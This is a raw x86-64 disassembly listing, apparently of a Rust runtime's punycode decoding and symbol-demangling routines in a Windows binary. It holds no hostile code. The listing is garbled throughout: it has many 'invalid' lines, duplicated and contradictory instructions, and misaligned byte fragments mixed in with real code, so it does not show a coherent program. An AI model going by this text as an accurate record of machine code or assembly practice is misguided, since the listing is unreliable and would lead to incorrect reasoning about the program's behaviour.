test dword [rax + rax - 0x30170000], esi
add al, 0
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop word cs:[rax + rax]
jmp 0x14006d3e0
nop word cs:[rax + rax]
mov r9d, edx
and r9d, 0x1f
movzx esi, byte [rcx + 1]
and esi, 0x3f
cmp dl, 0xdf
jbe 0x14006cf7f
movzx r10d, byte [rcx + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
cmp r11b, 0xf0
jb 0x14006cf9b
movzx edx, byte [rcx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and edx, 0x3f
or edx, r10d
or edx, r9d
cmp edx, 0x110000
add byte [rcx], dl
add byte [rdi], cl
invalid
xchg edi, eax
add byte [rax], al
invalid
add byte [rcx], dl
add byte [rdi], cl
test byte [rdi + 0x48000000], dl
add ecx, 4
add rcx, 4
cmp r12, 0x80
jne 0x14006cfc0
add byte [rax], 0
add byte [rbp + 0x46], dh
jmp 0x14006d3e0
add rcx, 2
shl r9d, 6
or r9d, esi
mov edx, r9d
cmp r12, 0x80
jne 0x14006cfc0
jmp 0x14006d3e0
add rcx, 3
shl r9d, 0xc
or r10d, r9d
mov edx, r10d
cmp r12, 0x80
je 0x14006d3e0
nop word cs:[rax + rax]
mov dword [rsp + r12*4 + 0x98], edx
inc r12
cmp rcx, rax
jne 0x14006cef0
invalid
invalid
invalid
invalid
jmp 0x14006d004
or byte [rax - 0x75], cl
and byte [rax - 0x75], r9b
sub byte [rax - 0x75], r9b
sbb byte [rax - 0x7f], cl
invalid
xor r12d, r12d
mov rax, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x58]
add rax, rbx
mov qword [rsp + 0x78], rax
lea rax, [r12 - 1]
mov qword [rsp + 0x80], rax
add byte [rax], al
add byte [rax], al
lea rax, [r12*4 + 4]
mov qword [rsp + 0x30], rax
lea rbp, [rsp + r12*4]
add rbp, 0x98
mov rax, r12
neg rax
mov qword [rsp + 0x50], rax
mov rax, r12
not rax
mov qword [rsp + 0x48], rax
lea rax, [r12 + 1]
mov qword [rsp + 0x20], rax
mov eax, 0x2bc
mov qword [rsp + 0x28], rax
mov r14d, 0x48
add byte [rcx - 0x41], al
add byte [rax], 0
invalid
add byte [rcx - 0x41], al
add byte [rax], 0
add byte [rcx - 0x47], al
mov r9d, 0x1a
mov r9d, 0x1a
movabs rsi, 0xea0ea0ea0ea0ea0f
xor eax, eax
mov qword [rsp + 0x38], rax
xor ecx, ecx
mov edx, 0x24
sub rdx, r14
mov eax, 0
cmovae rax, rdx
cmp rax, 1
cmp eax, 1
cmp eax, 1
adc rax, 0
cmp rax, 0x1a
mov edi, 0x1a
cmovae rax, r9
lea edx, [r8 - 0x61]
cmp dl, 0x1a
jb 0x14006d0cd
lea edx, [r8 - 0x30]
lea edx, [rax - 0x30]
cmp dl, 9
ja 0x14006d3e0
xchg dword [rdx], ebx
add eax, dword [rax]
invalid
xchg dword [rdx], ebx
add eax, dword [rax]
add byte [rcx - 0x80], al
shr dl, 0x44
mov edx, eax
add r8b, 0xea
mov edx, r8d
inc rbx
movzx r9d, dl
movzx ecx, dl
movzx ecx, dl
cmp rax, r9
jbe case.0x1400270ad.452
add rcx, r9
jb 0x14006d3e0
lea r13, [r12 + 1]
mov rax, rcx
or rax, r13
shr rax, 0x20
and byte [rdi], cl
invalid
mov ah, 0
add byte [rax], al
and byte [rdi], cl
test byte [rax + rax - 0x76b80000], dh
enter 0xffffffffffffd231, 0x49
mov rax, rcx
xor edx, edx
div r13
div ebp
div ebp
mov r10, rdx
jmp 0x14006d1b5
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov r8d, 0x24
sub r8, rax
mov r13d, 0x48
mov ebp, 0x48
mov ebp, 0x48
nop
mov rax, r13
sub rax, r14
mov r11d, 0
cmovae r11, rax
cmp r11, 1
adc r11, 0
cmp r11, 0x1a
cmovae r11, rdi
cmp rbx, qword [rsp + 0x78]
je 0x14006d3e0
movzx eax, byte [rbx]
lea edx, [rax - 0x61]
cmp dl, 0x1a
jb 0x14006d166
add ecx, dword [rbp - 0x57f60b0]
sbb dh, byte [rdx + 0x10]
lea edx, [rax - 0x30]
cmp dl, 9
ja 0x14006d3e0
add byte [rax], al
add byte [rax], al
add al, 0xea
mov edx, eax
movzx r10d, dl
mov rax, r10
mul r8
jo 0x14006d3e0
add r9, rax
jb 0x14006d3e0
inc rbx
cmp r11, r10
ja 0x14006d0d9
mov edx, 0x24
sub rdx, r11
add r13, 0x24
mov rax, r8
mul rdx
mov r8, rax
jno 0x14006d120
jmp 0x14006d3e0
mov eax, ecx
xor edx, edx
div r13d
div ebp
div ebp
mov r10d, edx
add r15, rax
setb al
mov rdx, qword [rsp + 0x68]
push rsp
and al, 0x68
push rsp
and al, 0x68
cmovae rdx, r15
mov qword [rsp + 0x68], rdx
push 0x48fa894c
shr edx, 0x20
push 0x48fa894c
shr edx, 0x20
jne 0x14006d3e0
test al, al
jne 0x14006d3e0
add al, byte [rdx]
add byte [rax], al
cmp r15d, 0x110000
je 0x14006d3e0
mov eax, r15d
xor eax, 0xd800
add eax, 0xfffff800
cmp eax, 0x10f7ff
push rdi
adc byte [rax], al
push rdi
adc byte [rax], al
ja 0x14006d3e0
cmp r12, 0x7f
ja 0x14006d3e0
jg 0x14006d217
xchg ebx, edx
add dword [rax], eax
add byte [rbp + 0x39], cl
invalid
cmp r12, r10
jbe 0x14006d240
mov eax, r12d
sub eax, r10d
test al, 3
mov rdi, qword [rsp + 0x38]
and al, 0x38
shr byte [rax + 0x7c8b4803], 1
and al, 0x38
je 0x14006d293
mov rax, rcx
mov r8, qword [rsp + 0x20]
or rax, r8
or eax, eax
or eax, eax
shr rax, 0x20
je 0x14006d257
mov rax, rcx
xor edx, edx
div r8
jmp 0x14006d25e
cmp r10, 0x80
mov rdi, qword [rsp + 0x38]
jb 0x14006d2cf
cli
add byte [rax], 0
add byte [rax - 0x75], cl
jl 0x14006d26f
cmp byte [rdi], cl
invalid
jmp 0x14006d4c3
mov eax, ecx
xor edx, edx
div r8d
imul rax, qword [rsp + 0x48]
add rcx, rax
xor eax, eax
nop dword [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx - 0x76037aac], cl
push rsp
test dword [rax], eax
mov edx, dword [rbp + rax*4 - 4]
mov dword [rbp + rax*4], edx
dec rax
mov edx, r12d
invalid
enter 0xffffffffffff8944, 0xffffffffffffffe2
loop 0x14006d2a7
sub dl, cl
movzx edx, dl
and edx, 3
add rdx, rax
jne 0x14006d270
invalid
retf 0xb60f
in eax, 0x48
sub rax, qword [rsp + 0x50]
sub eax, dword [rsp + 0x50]
mov r12, rax
mov rax, qword [rsp + 0x80]
add byte [rax], al
add rax, rdi
sub rax, r10
cmp rax, 3
jb 0x14006d2cf
nop word [rax + rax]
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [rsp + r12*4 + 0x88]
movups xmmword [rsp + r12*4 + 0x8c], xmm0
lea rax, [r12 - 4]
mov r12, rax
mov esp, eax
mov esp, eax
cmp rax, r10
ja 0x14006d2b0
sal byte [rdi - 0x1f], 1
mov dword [rsp + r10*4 + 0x98], r15d
add byte [rax], al
cmp rbx, qword [rsp + 0x78]
je 0x14006d488
movzx r8d, byte [rbx]
mov rax, r9
enter 0xffffffffffffc148, 0xffffffffffffffe8
and byte [rbx + rcx*4 + 0x7c], cl
and al, 0x30
enter 0xffffffffffffc148, 0xffffffffffffffe8
and byte [rbx + rcx*4 + 0x7c], cl
and al, 0x30
je 0x14006d303
mov rax, r9
xor edx, edx
div qword [rsp + 0x28]
mov r9, rax
jmp 0x14006d30f
mov eax, r9d
xor edx, edx
div dword [rsp + 0x28]
mov r9d, eax
mov r12, qword [rsp + 0x20]
mov rax, r9
or rax, r13
shr rax, 0x20
je 0x14006d33c
mov rax, r9
xor edx, edx
div r13
mov rcx, rax
add rcx, r9
xor r11d, r11d
cmp rcx, 0x1c8
add dword [rax], eax
add byte [rbx + 0x1b], dh
add dword [rax], eax
add byte [rbx + 0x1b], dh
jmp 0x14006d37d
mov eax, r9d
xor edx, edx
div r13d
mov ecx, eax
add rcx, r9
xor r11d, r11d
cmp rcx, 0x1c8
enter 1, 0
enter 1, 0
jb 0x14006d37d
mov r9, rcx
nop dword [rax + rax]
mov rax, r9
mul rsi
mov rcx, rdx
shr rcx, 5
add r11, 0x24
add ebx, 0x24
add ebx, 0x24
cmp r9, 0x3e57
add byte [rax], al
mov r9, rcx
ja 0x14006d360
inc r10
inc edx
lea eax, [rcx*4]
lea eax, [rax + rax*8]
rol byte [rbx - 0x2dced93f], 0x66
div ecx
rol byte [rbx - 0x2dced93f], 0x66
div ecx
movzx r14d, ax
add r14, r11
inc rdi
mov qword [rsp + 0x38], rdi
add r15, 4
mov qword [rsp + 0x30], r15
add rbp, 4
dec qword [rsp + 0x50]
and al, 0x50
and al, 0x50
push rax
dec qword [rsp + 0x48]
inc r12
mov qword [rsp + 0x20], r12
mov eax, 2
mov qword [rsp + 0x28], rax
mov r12, r13
in al, dx
in al, dx
mov r15, qword [rsp + 0x68]
mov rcx, r10
mov r9d, 0x1a
jmp 0x14006d08a
mov rax, qword [rsp + 0x60]
mov r14, qword [rax + 0x20]
mov esi, dword [rax + 0x20]
invalid
mov esi, dword [rax + 0x20]
mov rax, qword [rax + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.punycode_0
fsub dword [rcx + 7]
add byte [rcx - 0x48], al
or dword [rax], eax
add byte [rax], al
fsub dword [rcx + 7]
add byte [rcx - 0x48], al
or dword [rax], eax
invalid
add byte [rax], al
mov rcx, r14
mov ecx, esi
mov rsi, rax
call rax
mov bpl, 1
test al, al
jne 0x14006d45a
mov r8, qword [rsp + 0x90]
test r8, r8
nop
add byte [rax], al
add byte [rbp - 0x7b], cl
sal byte [rdx + rbp + 0x4c], 0x89
int1
je 0x14006d444
mov rcx, r14
mov rdx, qword [rsp + 0x88]
mov rdi, rsi
call rsi
invalid
test al, al
jne 0x14006d45a
and al, 0x88
add byte [rax], al
add byte [rax - 0x77], cl
idiv edi
invalid
lea rdx, [0x1400e35d9]
lea edx, [0x1400e35d9]
mov r8d, 1
mov rcx, r14
call rdi
test al, al
jne 0x14006d45a
mov rcx, r14
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x70]
mov eax, dword [rsp + 0x70]
mov eax, dword [rsp + 0x70]
mov rdi, rsi
call rsi
test al, al
je 0x14006d470
mov eax, ebp
add rsp, 0x298
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rdx, [0x1400e9693]
adc eax, 0x7c21c
mov r8d, 1
mov rcx, r14
mov rax, rdi
jmp 0x14006cfeb
sti
invalid
invalid
sti
invalid
lea rsi, [rsp + 0x44]
mov rdi, qword [rsp + 0x60]
lea rbx, [rsp + 0x98]
mov r14, qword [rsp + 0x30]
nop
mov eax, dword [rbx]
mov dword [rsp + 0x44], eax
mov rcx, rsi
mov rdx, rdi
mov edx, edi
mov edx, edi
call fcn.1400451c0
mov ebp, eax
test al, al
jne 0x14006d45a
add rbx, 4
add r14, 0xfffffffffffffffc
jne 0x14006d4a0
jmp 0x14006d45a
add byte [rcx + rcx*4 - 0x2f], cl
call fcn.1400a9fa0
ud2
shr eax, 1
leave
retf 3
int3
mov edx, dword [rcx + 0x10]
cmp rdx, qword [rcx + 8]
jae 0x14006d50a
mov rax, qword [rcx]
movzx eax, byte [rax + rdx]
mov dh, 4
adc byte [rax - 1], cl
ret 0x8948
push rcx
invalid
mov dh, 4
adc byte [rax - 1], cl
ret 0x8948
lea ecx, [rax - 0x41]
cmp cl, 0x1a
jae 0x14006d519
xor ecx, ecx
shl rax, 0x20
invalid
and byte [rax + 9], cl
enter 0xffffffffffffb9c3, 1
add byte [rax], al
add byte [rax], al
xor eax, eax
shl rax, 0x20
or rax, rcx
ret
add al, 0x85
or rax, rcx
ret
mov ecx, 1
add byte [rax], al
xor eax, eax
shl rax, 0x20
or rax, rcx
ret
add al, 0x85
xor edx, edx
xor ecx, ecx
cmp al, 0xe6
setb cl
mov eax, 0x110000
cmovb rax, rdx
shl rax, 0x20
or rax, rcx
ret
int3
sub rsp, 0x30
mov rsi, rcx
mov r15, qword [rcx]
cmp dword [rbp - 0x7b], ecx
invalid
cmp dword [rbp - 0x7b], ecx
dec dword [rdi]
test edi, edi
je 0x14006d663
test byte [0x18c06d560], al
mov esp, dword [rsi + 8]
invalid
mov r12, qword [rsi + 8]
or byte [rax - 0x75], cl
pop rsi
adc byte [rcx + rdi - 0x1d], cl
mov rbx, qword [rsi + 0x10]
cmp rbx, r12
jae case.0x140080d34.430
movzx r14d, byte [r15 + rbx]
xor al, 0x1f
lea r13, [rbx + 1]
lea ebp, [rbx + 1]
mov qword [rsi + 0x10], r13
lea eax, [r14 - 0x61]
cmp al, 0x19
ja 0x14006d595
movzx eax, al
mov dh, 0xc0
mov ecx, 0x3bcfbbf
bt ecx, eax
jb 0x14006d6fd
mov eax, dword [rsi + 0x18]
inc eax
mov dword [rsi + 0x18], eax
sbb byte [0x14006d796], r15b
sbb byte [0x14006d796], r15b
ja 0x14006d6c7
movzx eax, r14b
add eax, 0xffffffbf
cmp eax, 0x13
ja case.0x14006d5c6.67
lea rcx, [0x1400efc14]
movsxd rax, dword [rcx + rax*4]
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006d5ee
lea rdx, [0x1400e77f3]
mov r8d, 1
add byte [rax], al
movabs byte [0x1b8410007], al
add byte [rax], al
call fcn.140041f10
mov dil, 1
test al, al
jne 0x14006da26
test dword [rax], edi
add al, 0
invalid
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x438850f], eax
test dword [rax], edi
add al, 0
invalid
test dword [rax], edi
add al, 0
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.14006d540
mov dil, 1
invalid
test al, al
add dword [rax + rax*8 + 0x425850f], eax
add byte [rax], al
jne 0x14006da26
test dword [0x18106d606], esp
cmp dh, 0x41
cmp r14b, 0x41
jne 0x14006d63f
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006d62a
lea rdx, [0x1400e3811]
mov r8d, 2
mov eax, 2
mov eax, 2
add al, ch
out dx, al
std
inc dword [rax + rax*8 + 0x3fc850f]
test esp, edi
invalid
call fcn.140041f10
test al, al
jne 0x14006da26
test esp, edi
add eax, dword [rax]
add byte [rax], al
test esp, edi
add eax, dword [rax]
add byte [rax], al
mov dil, 1
mov rcx, rsi
add byte [rax], al
mov dil, 1
mov bh, 1
mov rcx, rsi
mov dl, 1
add eax, ebp
stc
add eax, 0xc0840000
add byte [rax], al
test al, al
call fcn.14006dc30
add byte [rax], al
test al, al
jne 0x14006da26
test edi, esp
add eax, dword [rax]
add byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x20]
test rcx, rcx
and byte [rax - 0x7b], r9b
leave
test ecx, ecx
je 0x14006da1b
iretd
add eax, dword [rax]
add byte [rax - 0x73], cl
adc eax, 0x7a1a1
lea rdx, [0x1400e77f4]
invalid
mov r8d, 1
call fcn.140041f10
jmp 0x14006da14
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
test rcx, rcx
je case.0x140051052.227
mov ah, 3
add byte [rax], al
mov ah, 3
add byte [rax], al
lea rdx, [0x1400e37e9]
mov r8d, 1
add byte [rax], al
add byte [rax], al
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp fcn.140041f10
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
test rcx, rcx
je 0x14006d6b7
invalid
sbb eax, 0x1f158d48
invalid
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
lea edx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140041f10
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x36f850f], eax
add byte [rax], al
add al, ch
std
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x36f850f], eax
add byte [rax], al
mov qword [rsi], 0
invalid
add byte [rax], al
mov byte [rsi + 8], 0
jmp case.0x140051052.227
invalid
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
test rcx, rcx
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
je case.0x1400503f2.126
lea rdx, [0x1400e37d0]
mov r8d, 0x19
add byte [rax], al
invalid
invalid
add byte [rax], al
add al, ch
std
inc dword [rax - 0x49]
mov dil, 1
test al, al
invalid
test dword [rcx], edi
cmp dword [rbx], eax
add byte [rax], al
call fcn.140041f10
mov dil, 1
test al, al
jne 0x14006da26
cmp dword [rbx], eax
add eax, dword [rax]
add byte [rax - 0x39], cl
invalid
invalid
invalid
add byte [rax], al
mov qword [rsi], 0
mov byte [rsi + 8], 1
or byte [rcx], al
or byte [rcx], al
jmp case.0x140051052.227
invalid
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
test ecx, ecx
je case.0x140051052.227
test byte [rdx], bl
add eax, dword [rax]
add byte [rax - 0x73], cl
adc eax, 0x7635f
lea rdx, [0x1400e3a70]
mov rdx, qword [rdx + rax*8]
mov edx, dword [rdx + rax*8]
lea r8, [0x1400e39a0]
mov r8, qword [r8 + rax*8]
jmp 0x14006d67d
pop rax
invalid
invalid
invalid
pop rax
invalid
invalid
mov rbx, qword [rsi + 0x20]
test rbx, rbx
je 0x14006da0c
fiadd dword [rdx]
add byte [rax], al
lea rdx, [0x1400e9fe8]
mov r8d, 1
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
mov rcx, rbx
call fcn.140041f10
invalid
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x2d4850f], eax
add byte [rax], al
mov dil, 1
test al, al
jne 0x14006da26
cmp r14b, 0x50
jne 0x14006d969
lea rdx, [0x1400e380b]
lea edx, [0x1400e380b]
mov r8d, 6
jmp 0x14006d976
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006d794
lea rdx, [0x1400e3483]
mov r8d, 1
call fcn.140041f10
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x292850f], eax
ror byte [rdi], 0x85
xchg edx, eax
add al, byte [rax]
invalid
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x292850f], eax
ror byte [rdi], 0x85
xchg edx, eax
add al, byte [rax]
invalid
ror byte [rdi], 0x85
xchg edx, eax
add al, byte [rax]
add byte [rbp + 0x39], cl
in eax, 0xf
jae 0x14006d9e4
cmp byte [r15 + r13], 0x4c
jne 0x14006d9e4
cmp r13, r12
jae 0x14006d9e4
cmp byte [r15 + r13], 0x4c
jne 0x14006d9e4
add rbx, 2
mov qword [rsi + 0x10], rbx
lea rcx, [rsp + 0x20]
and al, 0x20
and al, 0x20
mov rdx, rsi
call fcn.140070530
cmp byte [rsp + 0x20], 0
je 0x14006d9ac
invalid
sub eax, 0x7c800000
and al, 0x20
add byte [rdi], cl
test ah, ah
add dword [rax], eax
add byte [rdi], cl
movzx ebx, byte [rsp + 0x21]
mov dh, 0x5c
and al, 0x21
mov rcx, qword [rsi + 0x20]
test bl, bl
je 0x14006da38
add al, byte [rax]
add byte [rax - 0x7b], cl
leave
test rcx, rcx
je 0x14006da56
lea rdx, [0x1400e37d0]
mov r8d, 0x19
out 0x5f, eax
invalid
add byte [rcx - 0x48], al
sbb dword [rax], eax
add byte [rax], al
jmp 0x14006da4a
mov rcx, rsi
call fcn.140070390
jmp 0x14006da14
mov qword [rsi + 0x10], rbx
mov rcx, rsi
pop rsi
adc byte [rax - 0x77], cl
int1
xor edx, edx
call fcn.14006c280
jmp 0x14006da14
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006d83a
lea rdx, [0x1400e3813]
mov r8d, 4
call fcn.140041f10
mov dil, 1
test al, al
jne 0x14006da26
pop rdi
invalid
mov rcx, rsi
call fcn.140070680
mov dil, 1
test al, al
jne 0x14006da26
mov rcx, qword [rsi]
test rcx, rcx
je 0x14006d983
invalid
mov rax, qword [rsi + 0x10]
cmp rax, qword [rsi + 8]
or byte [rdi], r9b
sbb dword [rcx + rax], 0
invalid
or byte [rdi], r9b
sbb dword [rcx + rax], 0
add byte [rax + 0xf4c013c], al
test dword [rdx], edx
add dword [rax], eax
add byte [rax - 1], cl
ror byte [rax - 0x77], 0x46
adc byte [rax - 0x73], cl
and al, 0x20
cmp byte [rcx + rax], 0x4c
jne 0x14006d983
inc rax
mov qword [rsi + 0x10], rax
lea rcx, [rsp + 0x20]
mov rdx, rsi
mov edx, esi
call fcn.140070530
cmp byte [rsp + 0x20], 0
add byte [rdi], cl
test dword [rax], edi
invalid
invalid
invalid
add byte [rdi], cl
test dword [rax], edi
invalid
mov rbx, qword [rsp + 0x28]
test rbx, rbx
je 0x14006da1b
test byte [rbp + 1], bh
add byte [rax], al
test byte [rbp + 1], bh
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006d8c1
lea rdx, [0x1400e3817]
mov r8d, 3
call fcn.140041f10
test al, al
jne 0x14006da26
mov rcx, rsi
mov rdx, rbx
call fcn.14006e310
jmp 0x14006da17
mov rcx, rsi
call fcn.140070170
jmp 0x14006da14
add dword ss:[rax], eax
invalid
add dword ss:[rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
test ecx, ecx
je 0x14006d904
sbb eax, 0x92158d48
pop rbx
invalid
lea rdx, str.____
mov r8d, 1
call fcn.140041f10
invalid
std
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x122850f], eax
test dword [rdx], esp
add dword [rax], eax
invalid
invalid
std
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x122850f], eax
test dword [rdx], esp
add dword [rax], eax
invalid
test dword [rdx], esp
add dword [rax], eax
add byte [rax - 0x77], cl
mov ecx, esi
mov rcx, rsi
mov ecx, esi
call fcn.1400705f0
mov dil, 1
test rax, rax
test eax, eax
jne 0x14006da26
cmp rdx, 1
jne 0x14006d945
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x7b], r9b
leave
test rcx, rcx
je 0x14006da1b
lea rdx, [0x1400e77f5]
mov r8d, 1
call fcn.140041f10
test al, al
invalid
sahf
invalid
ror byte [rdi], 0x85
loope 0x14006d943
jne 0x14006da26
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006da1b
test cl, cl
add byte [rax], al
invalid
test cl, cl
leave
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [0x1400e8e76]
lea rdx, [0x1400e8e76]
lea edx, [0x1400e8e76]
mov r8d, 1
add byte [rax], al
call fcn.140041f10
jmp 0x14006da17
lea rdx, [0x1400e3807]
mov r8d, 4
mov rcx, rbx
call fcn.140041f10
jmp 0x14006da08
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006d6b7
std
invalid
invalid
std
invalid
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140041f10
test al, al
je 0x14006d6b7
jmp 0x14006da26
mov rdx, qword [rsp + 0x28]
and al, 0x28
test rdx, rdx
je 0x14006d9e4
mov rcx, rsi
call fcn.14006e310
push rdx
or dword [rax], eax
add byte [rax - 0x49], al
invalid
test al, al
jne 0x14006da26
push rdx
or dword [rax], eax
add byte [rax - 0x49], al
add dword [rax + rax*8 - 0x74b79e8b], eax
and byte [rax - 0x7b], r9b
leave
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006d9e4
lea rdx, [0x1400e3806]
mov r8d, 1
call fcn.140041f10
test al, al
jne 0x14006da26
cmp r14b, 0x52
je 0x14006da0c
invalid
and cl, byte [rax - 0x75]
and byte [rax - 0x7b], r9b
leave
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006da0c
lea rdx, [0x1400e3807]
mov r8d, 4
add byte [rcx - 0x48], al
add al, 0
add byte [rax], al
call fcn.140041f10
mov dil, 1
mov bh, 1
std
inc dword [rax - 0x49]
mov bh, 1
test al, al
jne 0x14006da26
mov rcx, rsi
mov bh, 1
test al, al
jne 0x14006da26
mov rcx, rsi
call fcn.14006d540
mov dil, 1
add dword [rax + rax*8 - 0x7cb7f48b], eax
add byte ds:[rbx + rax - 1], dh
sbb byte [rcx], r14b
xor edi, edi
mov eax, edi
add rsp, 0x30
pop rbx
pop rdi
test al, al
jne 0x14006da26
cmp qword [rsi], 0
je case.0x140051052.227
dec dword [rsi + 0x18]
xor edi, edi
mov eax, edi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
test rcx, rcx
je 0x14006da56
invalid
sbb dword [rax - 0x73], ecx
adc eax, 0x75d7c
invalid
invalid
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
invalid
mov r8d, 0x10
adc byte [rax], al
add byte [rax], al
call fcn.140041f10
mov dil, 1
invalid
rol dword [rbp + rdi*8 - 1], 0x40
mov bh, 1
invalid
std
inc dword [rax - 0x49]
add dword [rax + rax*8 - 0x38b72f8b], eax
test al, al
jne 0x14006da26
invalid
sal byte [rbp - 0x30], 0x48
mov dword [rsi], 0
add byte [rax], al
ror byte [rax - 0x39], 1
mov qword [rsi], 0
invalid
add byte [rax], al
mov byte [rsi + 8], bl
jmp case.0x140051052.227
or bl, ch
ret 0xcccc
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rax, qword [rcx]
test rax, rax
je 0x14006dad7
push rsi
push rsi
mov rdi, rcx
xor esi, esi
lea rbx, [0x1400e37f1]
iretd
xor r14d, r14d
test byte [rax - 0x75], 0x4f
adc byte [rax + 0x3b], cl
or byte [r11 + 6], r14b
mov rcx, qword [rdi + 0x10]
cmp rcx, qword [rdi + 8]
jae 0x14006daa0
cmp byte [rax + rcx], 0x45
je 0x14006dae2
sub r14, 1
sub r14, 1
jb 0x14006dac1
mov rcx, qword [rdi + 0x20]
test rcx, rcx
je 0x14006dac1
adc al, byte [rcx - 0x48]
add al, byte [rax]
add byte [rax], al
mov r8d, 2
mov rdx, rbx
call fcn.140041f10
test al, al
jne 0x14006dadb
mov rcx, rdi
call fcn.14006db00
test al, al
jne 0x14006dadb
mov rax, qword [rdi]
mov eax, dword [rdi]
test rax, rax
jne 0x14006da90
jmp 0x14006daeb
xor esi, esi
jmp 0x14006daeb
mov esi, 1
jmp 0x14006daeb
add byte [rax], al
add bl, ch
or dword [rax - 1], ecx
ror dword [rax - 0x77], 0x4f
adc byte [r9], r14b
inc rcx
mov qword [rdi + 0x10], rcx
adc byte [r9], r14b
invalid
adc byte [r9], r14b
test byte [rax - 0x77], 0xf0
mov rax, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
int3
in al, dx
and byte [rax - 0x77], cl
invalid
mov rcx, qword [rcx]
test rcx, rcx
or dword [rax - 0x7b], ecx
leave
je 0x14006db4e
mov r8, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
adc byte [rcx + rdi - 0x40], cl
adc byte [rcx + rdi - 0x40], cl
sal byte [rbx + 0x31], 0xf
mov dh, 0x14
add dword [rbx + 0x35744bfa], eax
je 0x14006db5b
jae 0x14006db4e
movzx edx, byte [rcx + rax]
cmp edx, 0x4b
je 0x14006db5b
cmp edx, 0x4c
jne 0x14006db4e
lea r9, [rax + 1]
mov qword [rsi + 0x10], r9
cmp r9, r8
sal dword [rbx + 0x39], 0x42
cmp byte [rcx + rcx], 0x5f
pop rdi
jae 0x14006db71
cmp byte [rcx + r9], 0x5f
jne 0x14006db71
add rax, 2
add eax, 2
add cl, byte [rax - 0x77]
mov qword [rsi + 0x10], rax
xor eax, eax
jmp 0x14006dc11
add byte [rax], al
invalid
adc byte [rcx], r14b
shr cl, 0xc3
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, esi
mov rcx, rsi
mov ecx, esi
add rsp, 0x20
pop rsi
jmp fcn.14006d540
invalid
and byte [rsi - 0x17], bl
in eax, 0xf9
invalid
inc rax
mov qword [rsi + 0x10], rax
mov rcx, rsi
mov ecx, esi
mov ecx, esi
xor edx, edx
add rsp, 0x20
invalid
and byte [rsi - 0x17], bl
invalid
add byte [rax], al
invalid
ror byte [rax - 0x7d], cl
invalid
add byte [rcx], dh
xor eax, eax
mov r10d, 0x3e
nop dword [rax]
cmp r9, r8
cmp ecx, eax
rol byte [rcx - 0x46], 0x3e
add byte [rax], al
add byte [rdi], cl
invalid
add byte [rbp + 0x39], cl
sal dword [rbx + 0x56], 0x42
movzx edx, byte [rcx + rcx]
cmp ecx, eax
jae 0x14006dbdb
movzx edx, byte [rcx + r9]
cmp dl, 0x5f
je 0x14006dbcf
lea r11d, [rdx - 0x30]
lea r11d, [rdx - 0x30]
rol byte [rcx - 0x80], 1
sti
or dh, byte [rdx + 0x1f]
cmp r11b, 0xa
jb 0x14006dbb8
lea r11d, [rdx - 0x61]
lahf
cmp r11b, 0x1a
jae 0x14006dba8
add dl, 0xa9
jmp 0x14006dbb5
lea r11d, [rdx - 0x41]
cmp r11b, 0x1a
sti
invalid
mov edi, 0x1afb8041
sti
sbb dh, byte [rbx + 0x29]
jae 0x14006dbdb
add dl, 0xe3
mov r11d, edx
inc r9
mov qword [rsi + 0x10], r9
mul r10
jo 0x14006dbdb
movzx edx, r11b
add rax, rdx
